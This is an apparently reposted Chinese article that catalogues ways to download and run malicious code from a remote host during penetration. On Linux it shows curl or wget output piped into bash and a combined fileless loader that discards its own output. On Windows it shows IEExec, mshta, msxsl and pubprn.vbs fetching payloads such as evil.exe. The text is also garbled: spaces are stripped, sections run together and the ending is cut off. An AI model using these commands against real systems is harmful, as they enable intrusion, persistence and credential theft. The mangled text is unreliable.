当前位置: 首页 > 科技观察

通过命令下载并执行恶意代码的几种姿势

时间:2023-03-19 02:21:02 科技观察

转载请联系Bypass公众号。在渗透过程中,攻击者往往需要通过命令下载并执行恶意代码,以实现信息收集、持久化、提权、绕过防御、提取凭证、横向移动、数据泄露等操作。在目标主机上执行恶意代码可分为上传/下载执行恶意代码和无文件远程恶意代码执行。下面总结一下在Linux和Windows下下载执行恶意代码的一些姿势。一、Linux远程恶意代码执行01.curl以curl的形式在http页面执行shell脚本,无需下载,直接在本机执行。方法一:curl-fsSLhttp://192.168.99.19:8080/test.sh|bash方法二:bash<<(curlhttp://192.168.99.19:8080/test.sh)02、wget远程执行wget命令下载恶意文件程序。方法一:wget-q-O-http://192.168.99.19:8080/test.sh|bash方法二:wgethttp://192.168.99.19:8080/shell.txt-O/tmp/x.php&&php/tmp/x.phpcurl+wget合并实现无文件远程恶意代码执行。bash-c'(curl-fsSLhttp://192.168.99.19:8080/test.sh||wget-q-O-http://192.168.99.19:8080/test.sh)|bash-sh>/dev/null2>&1&'03,rcprcp命令用于复制远程文件或目录。rcproot@x.x.x.x:./testfiletestfile04,scpscp是rcp的增强版,scp是加密的,rcp是不加密的。scpusername@servername:/path/filename/tmp/local_destination05,rsync使用rsync进行远程同步,拉取文件到本地服务器。rsync-avx.x.x.x:/tmp/passwd.txt/tmp/passwd.txt06,sftp使用sftp下载远程服务器上的文件。sftpadmin@192.168.99.242<caspol.exe-soffC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exehttp://192.168.28.131/evil.exe09,mshtamshta用于执行.hta文件mshtahttp://192.168.28.128/run.hta10,msxslmsxsl.exe是一个程序msxslhttp://192.168.28.128/scripts/demo.xmlhttp://192.168.28.128/scripts/exec命令下微软处理XSLline.xsl11和pubprn.vbs在Windows7以上的版本中都有微软签名的WSH脚本pubprn.vbs,可以用来解析.sct脚本:“C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs“127.0.0.1脚本:https: